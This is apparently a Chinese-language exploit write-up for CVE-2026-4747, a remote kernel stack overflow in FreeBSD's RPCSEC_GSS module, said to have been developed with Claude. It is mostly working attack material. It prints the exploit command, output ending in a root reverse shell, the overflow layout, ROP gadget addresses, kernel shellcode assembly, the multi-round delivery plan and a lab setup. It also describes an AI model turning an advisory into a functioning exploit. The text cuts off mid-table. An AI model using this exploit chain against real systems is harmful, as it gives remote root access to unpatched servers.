| 方面 | 详情 |
|---|
| CVE | CVE-2026-4747 |
| 漏洞 | kgssapi.ko(RPCSEC_GSS)中的栈缓冲区溢出 |
| 影响 | 远程内核代码执行 → uid 0 反向 Shell |
| 受影响版本 | FreeBSD 13.5、14.3、14.4、15.0(未打补丁版本) |
| 发现者 | Nicholas Carlini 使用 Claude(Anthropic) |
| 公告日期 | 2026-03-26 |
| 利用时间 | 约 8 小时(Claude 实际工作时间 4 小时) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
输出:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS 远程内核 RCE
栈溢出 → ROP → Shellcode → uid 0 反向 Shell
==============================================================
目标: 127.0.0.1:2049
回调: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 字节(54 个 qword)
投递: 15 轮(1 次 pmap + 14 次写入)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode 已投递并执行
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] 反向 Shell → 10.0.2.2:4444
[+] 来自 127.0.0.1:41320 的连接
[+] 已获取 Shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude 解决了 6 个不同的技术问题,从公告到实现功能性反向 Shell:
pmap_change_prot() → 使 BSS 可执行kthread_exit() 干净退出(无内核恐慌)kproc_create() → 创建具有用户态基础设施的新进程kern_execve("/bin/sh") → 加载 ELF、配置 trapframe、清除 P_KPROC 标志/bin/sh 以 uid 0 在 ring 3 中执行trap 1(调试异常)崩溃kproc_create() 继承父进程的调试寄存器kproc_create() 之前清除 DR7Credential body 字节 → 栈目标
[0..35] → GSS 头(版本、过程、序列、服务、句柄)
[36..151] → 填充(rpchdr 剩余部分 + 局部变量)
[152..199] → 保存的寄存器(RBX、R12、R13、R14、R15、RBP)
[200..207] → 返回地址 ← 第一个 ROP gadget
[208..399] → ROP 链(192 字节 = 24 个 qword)
| Gadget | 地址 | 用途 |
|---|---|---|
pop rdi; ret | K+0x1adcda | 参数 1(rdi) |
pop rsi; ret | K+0x1cdf98 | 参数 2(rsi) |
pop rdx; ret | K+0x5fa429 | 参数 3(rdx) |
pop rax; ret | K+0x400cb4 | 要写入的值 |
mov [rdi], rax; ret | 0xffffffff80e3457c | 8 字节任意写入 |
其中 K = 0xffffffff80200000(内核基址,FreeBSD 14.x 无 KASLR)
阶段 1 - 入口(被劫持的 NFS 线程):
mov rax, 0xffffffff8198bf00 ; 栈切换到 BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; 清除硬件断点
call rbx ; kproc_create(预加载到 RBX)
mov rax, kthread_exit
call rax ; 干净地终止线程
阶段 2 - Worker(新内核进程):
; 为 kern_execve 配置参数
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; 添加 "-c" 和反向 Shell 命令
; ...
; 执行 /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; 清除 P_KPROC 标志
and byte [rax + 0xb8], 0xfb ; 允许转换到用户态
ret ; → fork_exit → userret → iretq → ring 3
# 下载镜像
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init 配置
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# 使用端口转发启动
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
要求:
虚拟机内设置:
# 1. 安装 Kerberos
pkg install -y krb5
# 2. 创建 KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. 初始化 KDC 数据库
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. 创建 principals(将 "test" 替换为你的主机名)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. 启动 KDC
/usr/local/sbin/krb5kdc
# 6. 配置 NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. 启用服务
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. 验证
sysctl vfs.nfsd.threads # 应显示 16(2 个 CPU)
sockstat -l | grep 2049 # 应显示 tcp4/tcp6
# 1. 安装软件包
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. 配置 /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # 关键:避免 DNS 规范化
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888(QEMU)或 192.168.x.x:88(桥接)
}
EOF
# 3. 将主机名添加到 /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. 获取 Kerberos 票据
echo "password" | kinit [email protected]
klist
# 5. (可选)安装 ROPgadget 以查找新 gadgets
pip install ROPgadget
ROP 链:
pop rdi → rdi = 0xffffffff8198a000(BSS 页)
pop rsi → rsi = 0x2000(2 页 = 8KB)
pop rdx → rdx = 7(VM_PROT_ALL = RWX)
pmap_change_prot → 将权限更改为 RWX
pop rdi → rdi = 0
kthread_exit → 干净地终止线程
每轮向 BSS 写入 32 字节(4 个 qword):
ROP 链模板:
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → 写入 8 字节
(再重复 3 次)
pop rdi → 0
kthread_exit → 终止
成本: 40 字节 ROP/8 字节写入 → 共 15 轮
ROP 链:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = 最后一个 qword
mov [rdi], rax → 写入
(重复)
BSS_SC → 跳转到 SHELLCODE!
| 问题 | 原因 | 解决方案 |
|---|---|---|
| RIP 偏移错误 | 静态反汇编未计入 GSS 头 | De Bruijn 模式 + 读取崩溃转储 |
| MIT/Heimdal 不兼容 | 主机名 DNS 规范化 | rdns = false + dns_canonicalize_hostname = false |
| Worker 中的 Trap 1 | 从 DDB 继承的调试寄存器 | 在 kproc_create() 之前清除 DR7 |
| Shellcode 无法容纳 | 432 字节 > 400 字节(XDR 限制) | 分 |